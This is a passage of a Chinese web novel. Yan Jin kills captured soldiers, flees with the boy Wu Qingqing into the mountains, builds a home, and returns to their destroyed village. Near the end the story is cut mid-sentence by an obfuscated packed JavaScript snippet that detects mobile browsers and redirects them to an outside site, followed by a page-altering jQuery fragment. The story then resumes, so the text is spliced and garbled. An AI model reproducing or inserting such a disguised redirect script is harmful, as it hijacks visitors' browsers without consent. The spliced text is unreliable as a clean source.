大家说法不一,有些家中死了人的态度激烈,势要这些人偿命,但没有受到太大影响的人家则不愿下手,害怕会遭到报复。 燕谨什么也没说,在乌霜雪下葬的那天晚上将重伤的几个人用剑杀了个干净。 回到家时,乌轻轻正在房中等她。 这些天他的精神很差,白日还有些发烧,吃了药在床上昏睡一天,不知梦见了什么,不断呓语,惊醒了无数次。 燕谨就坐在他旁边陪着他,直到晚上乌轻轻醒了,她才拿着剑出了门。 见燕谨回来,乌轻轻从床上坐起,眼巴巴地看过去。 燕谨颔首,将沾了血的剑放在乌轻轻房间门口,走过来摸他的脑袋。 乌轻轻的额头还有些发烫,因发烧出了许多虚汗,摸上去黏黏的。 燕谨浑不在意,她拥住乌轻轻,低声说:“都解决了,我们走吧。” 29. 进山 就着朦胧的月色,燕谨与乌轻轻骑在马上,最后回头看了一眼这个住了五年的家。 这是乌霜雪长大的地方,却没法成为他们长大的地方了。 乌轻轻哭了好多天,眼泪都已经流干了,此刻他什么也没说,沉默地靠在燕谨怀中,任凭村落在身后渐渐缩小。 湾水村已经不能再呆了。 自从齐王攻入云城的那一天起,湾水村的结局就已经注定。 此次虽然只有三十一人闯入,但全都折在这并不是一件小事,齐王那边势必会派人来寻。 所以不论最后那八个人死或不死,都是一样的。 燕谨骑着飞云在夜色中穿行,乌轻轻靠着她慢慢昏睡过去。 她在思考二人接下来的归处。 之前打算北上,但那时乌霜雪还在,她们二人都会武功,就算有心之人想动手,也能抗住。 但现在只有她与轻轻二人,面对心怀不轨之人时,她连乌轻轻都不一定能完全护住,遑论那些物资。 世道艰难,只剩他们二人,想要存活下去谈何容易…… 燕谨眼睛盯着眼前的路,延绵的青山始终在他们身侧横卧,那个曾经被乌霜雪否决了的念头再度升起来。 进山。 她抬头看过去,在夜色中,青山犹如蜿蜒的巨蟒,甚是可怖。 但山中清净,不必再去考虑任何事,只要能度过前期最艰难的这段时间,她与乌轻轻在这乱世之中,总能有一隅安居。 燕谨心中有些犹豫,一时之间难以抉择,是在乱世之中活下去更难,还是在险峻的青山之中活下去更难。 漏尽更阑,对燕谨来说,这又是一个不眠之夜。 但湾水村今夜负责看守犯人的村民,这一夜好眠,睡得极香。 以至于早晨揉着眼睛推开柴房大门的时候,脑中一片空白,呆了五秒,那声惊叫才从喉咙里喊出来。 有了上次的经验,这次大家对于喊叫声十分敏感。 乌宝金急匆匆提着裤子赶过来,连腰带都没顾着系上。 关押这些兵士的柴房离他家不远,负责看管的村民其中有一个也是他的儿子。 “怎么回事,可是人跑了??” 第一个发现的人哆嗦着手指指向门内,好半晌说不出话来,其他人也围在门口,十分沉默。 乌宝金眉头紧皱,将人一把推开,视线远远望进去。 不是跑了,是死了。 八个人,全部被人一击毙命,脖子上偌大的豁口已经让血流干了,柴房的地面一片赤红。 乌宝金还未来得及有什么反应,其他人就拿着家伙什赶过来,个个焦躁不安。 待见到柴房内兵士们的惨状,皆是骇然。 “村长,这,这怎么,怎么就死了……” “不是还没商量出来怎么处置吗,谁将人杀了?!” “死得好,还让他们多活了这几日,我呸!” …… 叫好声、质问声响成一片,乌宝金眼尖的发现地上有一张纸,即将被鲜血浸湿。 他赶紧捡起来,上面写着几行字,识字不多的老村长勉强看了个大概。 ——人是我杀的,齐王部下不日将来村,速逃。 ——叶谨留。 念出来后,人群瞬间炸开了锅。 “她一个外来的女娃,说杀就把人杀了!齐王要来,岂不是把我们都害了!” “先前还看那两个孩子可怜,哪晓得做出这种事。” “你们还没一个孩子有血性,村里死了这么多人,连报仇都不敢!” “她人呢?留个字条给我们是什么意思?” 直到这句话被人问出来,乌宝金眉头一皱,顿觉不妙,忙不迭赶过去,老宅已经是人去屋空了。 捏着手中的纸条站在院子门口,乌宝金深深叹了口气。 “安静,听我说,”他大声遏住喧闹的人群,“小谨娃娃不下这个手,我老汉也是打算今天把那几个人处置了的。” 众人屏息,知道他接下来的话才是重点。 “齐王到了云城,前几日来的是三十多人,都没回去,难道那边就不派人来寻?若我们把那几人活着放回去,他们难道就不带人过来寻仇?横竖都是危险!不如直接处置了,给我们拖延几日时间。” 乌宝金喟然长叹。 “村里是待不住的,有了这一遭,大伙还没想明白吗,再不走,留在这里只剩一个死字。” 他甚至有些感谢是燕谨下了这个手,不然若是他们来杀,不知又要有什么变故。 已经到了青山脚下的燕谨对这一切浑然不知,她也不会在意他人的感谢。 她动手只是因为乌霜雪。 板车被藏得很好,加上这块地方少有人烟,除了上面有些湿润的露水之外,东西都好好的。 用火折子点起炉子热了水,将饼子放进去煮了一会儿,又撕了些肉干,这就是他们的早饭。 乌轻轻病还没好,再吃干饼喝冷水,也许会加重。 他没有过问燕谨接下来的打算,这些时日分外寡言。 但燕谨不会独断专行,随手扯了叶子擦过锅子之后,她一脸认真地与乌轻轻商量。 “轻轻,我有件事要跟你商量。” 乌轻轻立马抬头挺胸地坐好,看向她。 “你是愿意继续北上,重新寻一个合适的地方安家,还是愿意进山躲避战乱,以后你我二人形影自守。” “继续北上,也许会寻到一个合适的地方,我们会有新的邻居、朋友、生活,但路上必然会遇到许多危险,且不能保证不被战乱影响;躲进青山当中,清净,不会有军队来此,不会被战乱波及,但山中险峻,也有不同于外界的危险,只有你我二人相伴,许会孤单。” 燕谨讲得很细致,将所有利弊都掰开揉碎了告诉乌轻轻。 乌轻轻默了片刻,抬眼去看湾水村的方向。 那里葬着乌霜雪。 他摇了摇头:“我想留在这里,我们都走了,娘也会孤单的。” 燕谨对他的答案毫不意外,事实上,她也更倾向于进山。 青山虽险,但她有马、有剑、有弓。 “好,那就进山。”燕谨颔首。 板车带不进去,只能先暂且搁置在山脚下,她拿了些必备的 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只不过皇家的围场与这种无人探索的野山是不一样的,燕谨心中清楚。 但不论是什么威猛的动物,她也不是没见过。 校场的师傅除去教授武艺之外,也有专门负责讲解这些门道的人。 他们讲得很仔细,从不会因为她是公主就厚此薄彼,否则长姐告到母后那里,谁都吃不了好果子吃。 对于燕谨来说,青山对她而言最大的危险从不是密林与猛兽,而是未知。 飞云的速度不算快,燕谨凝神去听林间的动静。 武师傅跟她讲过,如要选择安营扎寨,需要选择近水但不靠水的地方。 她需要找到水源,然后顺着水源往里走,茫然地行进只会让他们迷失方向。 这一路走过来,燕谨也在树木的躯干上留了不少标记。 走了不知多久,原本紧张的乌轻轻被马背上有规律的晃动摇得昏昏欲睡,什么磨牙、什么嘶吼,都被她抛在脑后。 他拍了自己的脸颊一下,撑着无神的眼睛去问燕谨:“姐姐,还要走多久?” 燕谨低头看他,乌轻轻的眼皮半睁半合,困得马上就要睡着了,下一秒又惊醒过来,如此循环往复。 “还没找到水源地,困了就靠着我睡会儿。” 还没找到水源地,听在乌轻轻耳中等同于我们还要走一天,他两眼一闭,肩背放松地朝后面倒,歪着身子睡着了。 燕谨将他的姿势调整了一下,刚好被自己整个抵在怀中,睡得会比较舒服。 又走了两刻钟之后,燕谨终于听到了细微的水流声。 她脚下轻动,驾着飞云往那个方向走去。 听在耳中时就若隐若现的水流声真正寻起来,实打实走了有一个时辰。 期间乌轻轻又被噩梦惊醒一次,不肯再睡,满是好奇地开始跟燕谨一起听水声。 脚下路面逐渐变湿,潮湿的腐叶被飞云的蹄子踏上去时也不会再有碎裂的响声,耳畔的水流声逐渐清晰。 燕谨知道,他们快找到地方了。 30. 新家 一道由上至下蜿蜒而过的小溪出现在两人面前。 燕谨松了口气,没有凑太近,远远看着。 溪边非常湿润,杂乱无章的脚印出现在浅滩上,看不清是什么动物的脚印。 溪水清可见底,游鱼甩甩尾巴一晃而过,阳光穿透水面,水底跳跃着碎金般的光点。 “咱们在这安家吗?”乌轻轻扭头去看燕谨,耳边皆是潺潺的流水声。 燕谨摇头,骑着飞云继续沿着溪流向上走。 “还要再深一些。” 这里还是太浅了,离大路只不过半日路程,不够安全。 乌轻轻默默点头,他已经在自己还没意识到的时候把燕谨当成了曾经“乌霜雪”的那个角色,在这种事上面,只要燕谨做好决定就够了。 “饿不饿?”燕谨问他,一边伸手摸了下他的额头,现在已经退烧了。 乌轻轻仔细感受了一下肚子的情况,然后不自在地挪了挪身子,“不饿,但是屁股有点坐麻了。” 燕谨:…… 最后还是找了个空地吃午饭。 小锅被燕谨随马带着,随意折了几根木头架起来,上小溪里打了一壶水便开始热干粮。 他们坐在离溪边不远的一处石头旁边,午时刚过,但林中枝叶繁茂,非常凉爽,徐徐山风吹过,掠过身体十分舒服。 乌轻轻跑到溪边摸石头,燕谨也由着他。 小溪上方没有树木遮挡,这个时辰的阳光直射,溪水不会太凉,且摸石头是乌轻轻的爱好。 摸了半晌,乌轻轻手里揣着几个鹅卵石,哒哒地朝燕谨跑过来。 “这里的石头和我们村子后边的不一样。” 湾水村后面也有条小溪,跟青山里面的这处应该是同源才对。燕谨将干饼撕碎了丢在水里,淡淡地瞥了一眼乌轻轻手中的鹅卵石。 “哪里不一样。” 乌轻轻的袖口有些湿了,他将手中的石头伸出来放到燕谨面前,“家里的鹅卵石更圆。” 山中溪流落差大,水流湍急,水中的石头也多棱角。 “是有点不一样,”燕谨捡了两个树枝,简单把表皮去了之后给乌轻轻做筷子用,“以后我们生活的地方会有许多跟村子里不一样的东西。” 乌轻轻一愣,半大的少年猝然收回手,坐在燕谨身边,十分勉强地露出一个笑:“我知道,没关系。” 简单吃过午饭休息了一会之后,燕谨带着乌轻轻继续往深处行进。 下午的时间全部用在路上,眼看着天色将要黑了,燕谨才停下来找了个地方休息。 他们走了一日,已经进到比较深的位置了,燕谨打算明日在这周边转一转,找个地方安家。 寻了两颗比较近的古树,燕谨将一路带着的床单展开,系在枝干上,确认没什么问题之后就让乌轻轻躺了上去。 夜间的山林有些寒冷,她生了火在一旁,将飞云妥善安置好之后就返回营地翻身上去。 乌轻轻被她吓了一跳,见燕谨极其自然地将他往旁边拨弄了一下,自己也合衣躺下,更是不知所措。 跳动的火光打在他脸上,很好的遮盖了弥漫上来的红晕,他傻愣愣地盯着已经闭上眼睛的燕谨。 燕谨像是没有发觉,一语不发,乌轻轻便也慢慢躺下去,一边质疑自己是不是太小题大作了。 就算她以后是我媳妇,我们也还没成亲呢……她怎么一点都没有不好意思……不是我脸红什么…… 脑子里胡乱闪过些念头,乌轻轻靠在燕谨边上渐渐睡着了。 待他睡着之后,闭着眼睛的燕谨才睁开眼,神色清明,她透过树叶的缝隙去看头顶的星空,良久才真正入睡。 第二天,燕谨难得比乌轻轻还晚醒一点。 她睁眼的时候乌轻轻正躺在看她,见她醒了,笑眯眯地揶揄:“你怎么醒得比我还晚,我都不知道怎么下床。” 怕晚上有动物过来,吊床被绑得很高。 燕谨撑起身体,伸手揉了揉胀痛的脑袋。 昨晚她一直半睡半醒地注意周围的动静,加上几个晚上没有休息好了,身体实在疲累。 翻身落地,然后又把乌轻轻抱下来,她将吊床解开,缠好挂在飞云的身上。 一旁的火堆已经熄灭了,只剩了些黑灰,万幸昨夜没有其他动物过来,她带着的驱蚊膏也还算有用。 燕谨没有多说什么,带着乌轻轻去洗漱,胡乱对付了一口早餐。 “今天我要在这周围找个合适的地方安家,你是跟我一起还是在这里等我?” 她的语气有些冷淡,脑中的不适还没有全数消退。 乌轻轻打量了一下四周,若是只有自己一个人在…… 他宁愿跟在飞云后面跑。 “我跟你一起。”乌轻轻非常坚定。 燕谨打算找个大点的山洞,靠着岩壁搭建。 若是在林中前后不靠,她还是有些不放心。 虽然还未遇到,但青山上必然是有大型猛兽的,从溪边杂乱的脚印就可以看出来,安全最重要。 只不过转悠了一上午,也没有看着合适的地方。 要么是洞太深,探不到底;要么是洞太浅,人站进去连个雨都挡不了。 连续坐了这么久的马,乌轻轻感觉自己的屁.股都要裂了。 他斜眼去看燕谨,燕谨神色如常,看起来没有丝毫不对劲。 真是奇怪,练过武难道屁.股也比他厉害些么。 燕谨察觉到他的视线,看了眼天色,“饿了?还未到午时。” 乌轻轻赶紧摇头:“我不饿,姐……小谨,你们会武的人骑马都不会难受吗?” “小谨?”燕谨眉头一挑,“自然也难受,只是比你能忍。” 她从第一次上马开始,就有人教导她如何发力、如何骑行才能够更舒适些,和乌轻轻这种平日除了玩之外没什么活动的小孩不一样。 乌轻轻脸一红,装作没听见她的那声反问,自顾自又坐好了。 “不过我觉得这里也没那么吓人,一点也不热,风景也很好看。” “原始山林,自然有其独到之美。” “你说话怎么和我不一样?”乌轻轻有一搭没一搭地和她闲聊。 燕谨的视线仍然在四周打转,勉强分了一丝心神给乌轻轻。 “哪里不一样?” 乌轻轻摇头晃脑的,“就是感觉不一样,像是在听先生说话。” “我们安家之后,我自然会像先生一样继续教你念书。” “啊?!还要念书!” 一道惊雷迎头劈下,乌轻轻慌乱扭头,被燕谨稳稳摁住。 “这很奇怪么,家中的书我们都带上了。” 乌轻轻顿时大憾,他对念书倒算不上讨厌,但也谈不 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今日天色已经不早了,两人只能做些轻省的活计,将壁穴当中的树叶石子都清理出来,确认没有蛇类在此处居住。 晚上还是睡在吊床上面,相比于昨日的不自在,今天乌轻轻干了活,累得两眼一闭就睡过去了。 燕谨浑身疲累,脑中胀痛越发明显,却还是如昨日一般,睁着眼看了许久的星空才在迷迷糊糊间入睡。 剩下的日子就是在收拾与建造当中度过。 将木屋的外框将将搭好之后,燕谨才骑着马下山运板车上的物资。 当初搬家的时候乌霜雪用油纸将东西裹得很严实,除了有些被不知名动物咬过的痕迹之外,别的都保存完好。 来回运了三四天,才把东西都带上去。 她白天不在家的时候,乌轻轻就负责给之前燕谨砍回来的木头削皮。 手心很快磨出水泡,抹着眼泪干了好几天,才在燕谨忙完之后跟她撒娇抱怨。 “呜呜,我的手好痛,我这几天累死了。” 他们现在已经住进屋子里了,燕谨只用找到的树叶再垫上铺盖临时搭了个床,别的东西还要日后慢慢再做。 低头看过去,乌轻轻仰躺在衣服包做成的枕头上,两只手心朝上举起来,给她看被磨红起泡的掌心。 燕谨伸手从旁边的包袱里掏了掏,一个小瓷瓶被拿出来,她将瓶口的塞子打开,对准乌轻轻的手掌就要将药粉倒下去。 乌轻轻连忙缩手:“干什么呀,用不着上药,我就是给你看一看。” 燕谨倒药的手还停在半空中,她有些疑惑地去看乌轻轻,“起水泡了,我看见了,可以上药。” 这些日子两人都辛苦,她的辛苦和伤痛比起乌轻轻只多不少。 乌轻轻自然知道,他伸手将燕谨手中的瓷瓶接下来盖好,放回包袱里,转过头看着燕谨嘴一撇,小声说她:“你的手都没上药,我只是想让你哄哄我。” 屋子没点蜡烛,燕谨舍不得点,只剩最后两根蜡烛了。她就着昏暗的月光端详乌轻轻的神色,好半晌才伸出手,犹犹豫豫地在他头发上摸了一下。 “轻轻很乖,辛苦你了。” 数日前因为被燕谨打了手心没有得到宽慰的委屈,在这一刻逐渐消散。 乌轻轻将头埋入她毛糙破皮的掌心,很轻地蹭了一下。 31. 生日 他们在山里住了大概半年左右,才将居所真正搭建好。 燕谨只有理论经验,乌轻轻更是两眼一抹黑,走了不少弯路。 两个人每天累得头脚倒悬,晚上往床上一倒就跟昏过去了似的,睡得香甜。 乌轻轻没有心力再做那些可怖的梦境,两眼一闭就到天亮。 山中不知岁月长,燕谨每日在家旁边的石壁上刻一道痕迹用来记日子,房子差不多搭建好之后,教导乌轻轻读书的事情也正式步入正轨。 在做这件事之前,燕谨忽然想起一件别的事情来。 “轻轻,下午再和我去砍些木头。” 乌轻轻趴在不大的木头床上翻看一本游记,磕磕绊绊,许多字不认得,闻言好奇地看了一眼燕谨:“又要砍木头干什么?不是都做好了吗?” 扫视了一圈这屋子,虽然不大,但该有的都置办了。一个小床,一个小桌子,两个凳子,甚至连窗户都有,上面糊着一件不能再穿的旧衣裳,天冷的时候燕谨会把它用木头堵死。 “再做一个床。” 他们去年上山的时候已经快十一月了,天气慢慢冷下来,到了冬日里更是得两个人依偎在一起取暖。 但现在天气已经转暖了,再睡在一个床上就不合适了。 乌轻轻明显怔愣了一瞬,他低头看了一下这个木头搭的小床。 确实不太大,他们俩躺在上边都得紧紧挨着。冬天都是燕谨抱着他睡的,不然太冷了,加上又要干活,两个人的手都被冻得像萝卜。 “那……那冬天怎么办?”他下意识问道。 燕谨站在床尾将外衣脱下放置一旁,乌轻轻往床里边挪了一点儿。 “冬天自然还和之前一样。睡觉,下午再看,做完这个床我就该教你继续念书识字了。” 乌轻轻将书放下,侧过头去看燕谨的侧颜,燕谨已经躺下闭上眼睛了。 闭着眼睛,却也仿佛知道自己被人看着似的,燕谨问:“怎么了?” “新床做在哪里?” 这个问题问出来燕谨有些忍俊不禁:“还能在哪里?我们只有两间屋子。” 另一间是他们的厨房,洗漱也在那边,很小的一个四方木头小房子。 乌轻轻顿时安了心,乖乖地躺好,闭眼睡午觉。 下午睡醒之后,燕谨拿着斧头,背着弓箭,进了不远处的林子砍树。 他们住的地方周边这一圈木头都被砍得差不多了,燕谨估摸着再砍一点,大约能在前面圈个院子出来种菜。 乌轻轻一般不跟她出来砍木头,进了林子之后会遇到许多动物,燕谨害怕自己护不住他。 大型动物譬如野猪和老虎倒没正面碰到过,燕谨猜测这或许不是它们的活动范围,倒是碰到过三四次无毒的锦蛇,被她用斧头砍死了提着回去炖汤了。 在山林间行进时,一不小心就可能会被绊倒摔下去,地势过高就会存在这个问题。 乌轻轻之前跟她出来过几次,有一次就栽下去了,那次把燕谨吓得够呛,后来只要东西不多,便都让乌轻轻在家等着。 她砍树把木头带回去,乌轻轻负责削皮磨平。 做个床并不麻烦,耗费的材料也不多,不到一个时辰,燕谨就扛着木材回去了。 将东西放在家门口,乌轻轻从里面出来,很自觉地拿过斧子去削皮。 “你怎么力气那么大,等我16岁了,会跟你一起厉害吗?” 他十分羡慕地看着燕谨,明明刚刚扛完这么多木头,她却缓了几息就好了。 燕谨看他吭哧吭哧地蹲在地上干活,淡淡地说:“若你以后早晨与我一同锻炼时不偷懒,自然也能。” 乌轻轻撇了撇嘴,当做没听见,转而说起别的事情:“是不是再过几日就是我的生辰啦?” 前几日燕谨提了一嘴,他便一直记着。 燕谨点头,抬眼看了看石壁上的划痕。 “还有五日。” “嘿嘿,”听到这话,乌轻轻有些兴奋,干得愈发卖力,“你生辰的时候,我可给你送了礼物,你要给我送什么呀?” 燕谨的生辰比他早一个月,在五月里,乌轻轻下水给她摸了几个自认为非常精美的石头,但因为溪水寒凉,险些生病。 “到时你就知道了。” “不会又是草编吧?”乌轻轻试探性地问了一下,“虽然我也不是不喜欢,但是你已经送了五年了。” 燕谨往厨房去的背景僵了一瞬,她不自在地动了一下手指,撂下一句“等你生辰时就知道了”就匆匆进去了。 颇有两分落荒而逃之感。 燕谨的新床只用了两日就做好了,跟原先那个差不多大,就放在它正对面不远的地方,乌轻轻晚上一抬头就能看着她。 自认为已经是个大孩子的乌轻轻不愿意承认自己很不习惯燕谨的离开,强撑着睡了几晚装作无事。 直到他的生日这天。 按照燕谨生日的惯例,两个人磕磕绊绊地做好一条烤鱼和燕谨打的兔子,外加一锅蛇肉汤。 吃过饭后,乌轻轻看着燕谨满是期待。 他的眼睛已经亮晶晶地闪烁了一整天,燕谨忽然有些不好意思,感觉自己身后的东西有些拿不出手。 “什么呀?快拿出来!”乌轻轻急得去扒拉她。 燕谨慢吞吞地伸出一只手:“兔子。” 草编的那种。 乌轻轻伸手接过来,眸中星光点点,大声嘲笑她:“哈哈!我就知道!你除了这个根本不会送别的东西!” 燕谨难得羞涩。 虽然说乌轻轻每年送的礼物也就那样,但起码不会像她这样,年年都送一样的草编的东西。 “以后给你补上更好的,”她轻声保证道。 已经十二岁少年摇了摇头,手中拿着那个草编兔子摸了摸,神色莫名地看了她半晌,语出惊人。 “你能跟我成亲吗?” 燕谨第一次怀疑起自己的听力,“你说什么?” 乌轻轻第一遍说出口时心虚,第二遍反而大方起来:“我说,你能不能跟我成亲?” “你知道自己在说什么吗?” “我知道啊,”乌轻轻坦然地不得了,“你不是我的童养媳吗?我知道,我们俩长大了就会成亲的。” 燕谨伸手揉了揉眉尾,不知道是从哪里引出他有这个想法来。 “你现在长大了么?” “还没有……可是你已经长大了。” 乌轻轻有些不开心,他看出燕谨不愿意,甚至是十分抗拒。 废话,燕谨当然不愿意,她并 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燕谨十六岁,身量比年前又高了一些,她眉眼清隽冷清,气质泠然,十二岁的乌轻轻还是有些怯她,被扫了一眼,就情不自禁把手松开。 只是下一秒又重新拉得更紧。 “轻轻,我满15岁之后,娘就已经把我的户籍改了,你我不用再成亲,我不会离开你。” 燕谨很平静地说出这个事实,心中无悲亦无喜。 她把乌轻轻的手拉开,抬脚朝外走去。 乌轻轻站在原地想了许久,还是抓着那个草编兔子跑出去找燕谨。 找了一圈,在飞云的棚子里面看见她,她在给飞云刷毛。 “我还是要和你成亲。” 燕谨没理他。 乌轻轻在这件事情上面是不达目的誓不罢休的,他围着燕谨转了许久,直到天都黑了,到了两人平日里睡觉的时间,都还在念叨这个事情。 “为什么不行?我就要和你成亲……除非你继续和我睡在一起,你是不是不想当我的童养媳了?你怎么能反悔……求你了,让我和你成亲吧,我想和你成亲,求求你了……” 燕谨合眼躺着,对他的话语不闻不问,不做出任何反应。 直到乌轻轻自己说困了,自己迷迷糊糊间睡着了,她的耳边才恢复清净。 很是松了一口气,燕谨放下心睡过去。 本以为只是乌轻轻的一时兴起,等到第二天,自然也就忘了,但没想到,乌轻轻第二天还在说这件事。 燕谨保持着不听、不闻、不问的应对措施,任由乌轻轻如何说,都不动摇。 只有她教乌轻轻识字的时候,乌轻轻才闭口不言,害怕被她打手心。 这样坚持了十日左右,乌轻轻似乎终于放弃了,不再提起。 燕谨原以为他已经想通了这件事实在是荒谬,但没想到当日夜里,乌轻轻就发起了高烧。 烧得很厉害,有些像去年乌霜雪刚刚去世那段时间。 燕谨将沾了凉水的帕子盖在乌轻轻的额头,见他嘴里呢喃着什么,俯身去听。 “娘……娘……姐姐……别走……不要离开……” 32. 打探 万籁俱寂的深夜,乌轻轻的呢喃声犹如利剑直直穿入燕谨的心脏。 她坐起身,因洗了帕子而冰凉的手放在床边,烧得迷糊的乌轻轻感受到凉意,一只手握了上去给自己降温。 燕谨到此刻才发现,自己的指尖在抖。 他们二人在山中已经生活了近八个月,除了彼此之外再没有其他人。 天地间一片空茫,唯有身边的人才能汲取一点安心,互相依偎。不仅是乌轻轻害怕她的离开,其实她也在害怕乌轻轻的离开。 山中岁月长,如果连这个人都不在了……那活着的意义是什么呢? 燕谨恍然地看着脸颊通红,睡不安稳的乌轻轻,方才已经喂过药了,但他的体温还没有降下来。 如果乌轻轻也不在了怎么办? 父皇与兄长早在国破那日就死了,母后与长姐也在乱世中离去,连重新给她一个家的乌霜雪也死了。 她只剩下这个人了。 燕谨拿下乌轻轻额上的帕子,用一只手别扭地重新浸湿,又贴上去。 正是六月里,山中夜晚还透着凉意,她不敢将乌轻轻的衣服解开给他降温,只好一遍又一遍地将帕子打湿,贴在他滚烫的额头。 被握着的那只手一直没有抽开。 天色将明,乌轻轻身上的温度才逐渐褪下去,燕谨神色有些疲惫,确认乌轻轻已经退烧之后,才闭目浅眠了一会。 乌轻轻恢复意识的时候天色已经亮了,透过单薄旧衣糊成的窗纸照进来,柔和的光晕溢满了整个屋子。 他的脑袋还有点发晕,想用手揉一揉,一动就感觉自己的手被什么人握着。 侧头一看,燕谨坐在床边,低着头似乎是睡着了,他的一只手被燕谨牵在掌心不放。 姐姐肯定很辛苦,自己这些天还这么不听话。 乌轻轻咬着嘴唇,在心中责怪自己。 燕谨被他的动静惊得醒过来,一抬头就见乌轻轻已经睁眼了,正在看她。 伸手摸了一下乌轻轻的脑袋,“已经不烧了,还有哪里难受吗?” “没有难受,就是好饿。” 燕谨“嗯”了一声,将手松开,站起身准备去厨房:“我去煮点粥,你躺着吧。” 乌轻轻看她要走,不知怎么的,下意识撑起身子也要下床,然后就被浑身无力的感觉吓了一跳,晕乎乎地倒在床上。 “刚退烧折腾什么,”燕谨拧起眉毛,把他的身体抻平,板正地放在床上。乌轻轻直愣愣地盯着她,燕谨想了想,又撂下一句:“不许下床,之前你说的事我答应你了。” 直到燕谨的身影消失在房中乌轻轻都没能反应过来,还没完全恢复神智的大脑有些转不动,答应什么事情了? ……是成亲吗?成亲?她答应成亲了吗? 乌轻轻心底有些雀跃,眼巴巴地盯着门口,感觉自己已经有力气了,但是不敢不听燕谨之前的吩咐,躺在床上不敢动。 大约一炷香的时间,燕谨就端着碗粥回来了,还放了些撕成条的肉干。 之前从家中带来的早就吃完了,这是燕谨打的兔子做成的兔肉干。 看见燕谨,乌轻轻赶紧把心中的疑问道出来:“小谨……姐姐,你是答应我要成亲了吗?” 燕谨点头,走到床边坐下,舀了一勺粥草草吹了两下就往乌轻轻嘴里塞。 乌轻轻感觉有点烫,但他没敢说,赶紧咽下去又问:“什么时候成亲呀?” “等你病好。” 又一勺烫嘴的粥被他咽下去,“我觉得我现在已经好得差不多了。” 燕谨盯了他一秒,乌轻轻又呐呐地撤回去:“好吧……过两天就会好了。” “不急,过两天我要下山一趟。” 乌轻轻瞪大眼睛,这下连粥也顾不得吞了,头一撇避开了递到嘴边的木勺:“你要下山?下山干嘛呀?成亲,就算成亲也不用置办什么东西……” 燕谨平心定气地将手调转了个方向,勺子直接怼到他嘴里。 “去看看情况,顺便买点盐。” “哦……那好吧。”乌轻轻尴尬地眼珠四处打转,装作自己没有问过这个问题。 “到时你在家等我,最多三日我就会回来。” 乌轻轻有些愣怔,碗中的粥被他吃完,燕谨将碗勺随手搁置在不远的书桌上,看着他问:“怎么不说话?” 乌轻轻欲言又止,眼神中很是犹豫。 燕谨大约猜到他在想什么,无非还是那些担忧。 “不是丢下你,山下现在不知形势如何,若有情况,带着你不好跑。我原先不放心你一个人留在山上,现在待了这许久,我知你一人也不会有什么妨碍。” “你放心,等我回来,就跟你成亲。”她向乌轻轻保证。 如果燕谨要扔下他,绝对不会找什么冠冕堂皇的理由,乌轻轻对这一点深信不疑。 他点头应下:“好,那我在家里等你。” 过了大约五日左右,确定乌轻轻已经完全恢复了的次日清晨,燕谨拿着剑、背着弓、骑着马往山下去。 一人一马下山的路快了许多,加上燕谨对山中的情况已经熟悉,不过大半日的时间就到了山脚下。 青山脚下与之前相比似乎没有区别,还是一样的野草繁茂,荒无人烟。 燕谨想了想,策马往湾水村的方向行进。 先前搬家时,并非所有东西都被带走了,正好也回去看看,湾水村现在情况如何了。 骑了半日,到湾水村时天色已经将要黑了。 村子外围看不出什么,宁静异常,风中没有带来人声与烟火气,燕谨心中一沉,已然意识到了什么。 放轻动静,她骑着马从村尾进去。 情况如她预想的一般,满目疮痍,寂若死灰。 地面上长了许多半人高的野草,应是许久无人清理了。家家户户门户大开,有些一看就是被暴力撞开的,破烂的木门摇摇晃晃地要掉。 石头或黄土做成的院墙上面挥洒着许多暗色的痕迹,时间过去太久,已经看不清原本的颜色了。从敞开的院门看进去,许多人家中的物件凌乱地倒在地上,遍布灰尘与暗迹。 燕谨默默看着,脑中仿佛还能够想起每户院子中住着的是谁……她朝着自家院子走过去。 情形如他人家中一致,院门大敞,几间屋子的门也被人暴力撞开,带不走的桌椅被褥都歪斜地倒在地上,风吹雨打几个月,已经积了厚厚一层灰。 燕谨没动,没有伸手扶正任何一把椅子,也没有掸去任何物件上的积灰。 她走进厨房,里面也被翻得不成样子,连做饭用的铁锅都被掀开扔在一旁,显然是怕灶膛里藏了东西。 厨房确实藏了东西,但并不是在灶膛里面。 燕谨走进柴火灶的进柴口,将手伸进烟道找寻着什么。 差不多将整个手臂都伸进去,才摸到了自己想找的东西。 这东西被布条裹得严严实实的,不过半掌大小。 这是燕谨藏的,正是因为东西小,她才能塞到烟道中的缝隙中不被人发觉。 将外面那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186829|180272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 层沾满了黑灰的布条解开,燕谨将东西塞进怀中,也没管一片漆黑的手臂,离开了厨房。 不用在家里再找了,当初留下了什么东西她和乌霜雪都点过,看这情形,应当是半点不剩了。 燕谨走出院门,跨上马,离开了湾水村。 她家院门还敞着,里间一片凌乱,和其他所有的院子没有多少不同。 什么都不做才是最合适的。 离开湾水村后,燕谨不想浪费时间,就着月色,她朝乌霜雪之前买药的镇子赶过去。 云城太远,且尚不知齐王的军队情形如何,她没有时间浪费在那里。 到镇上的时候已经丑时了,燕谨骑了一日一夜的马疲惫极了。在镇子不远的地方找了颗树,倒在枝干上闭目休息,待明日天亮再行事。 荒郊野岭之地,又躺在粗硬的树干上,燕谨眯了不到两个时辰就醒了。 浑身酸痛不已,脑中发涨。 在附近的小溪里随意洗了把脸醒神,燕谨牵着马进了镇上。 这个镇子很小,街道狭窄且简陋,几乎都是泥土路,凹凸不平的地面被人踩过时扬起一阵短暂的浮灰,留下脚印,直到被下一个人踏过。 不知是不是天色还早的缘故,她没看见人,家家户户大门紧闭,也许正透过门缝打量这个突兀的外来者。 燕谨以前与乌霜雪一同来过几次,知道卖盐的店家在哪里,她脚下不停,直冲着那家店过去。 老旧的木门紧紧合着,先前外头挂着一个写了“盐”字的幡,现在也不见了。 燕谨走上前去,轻声询问:“店家可在?我是来买盐的。” 无人应答。 她又敲了敲,锲而不舍地问了好几遍,门内才传来一道低哑的女声:“走罢,我这儿不卖盐了。” “家中无盐,还望行个方便。” 门内人见她态度诚恳,独身一人,看着又是个半大的孩子,一时犹豫。 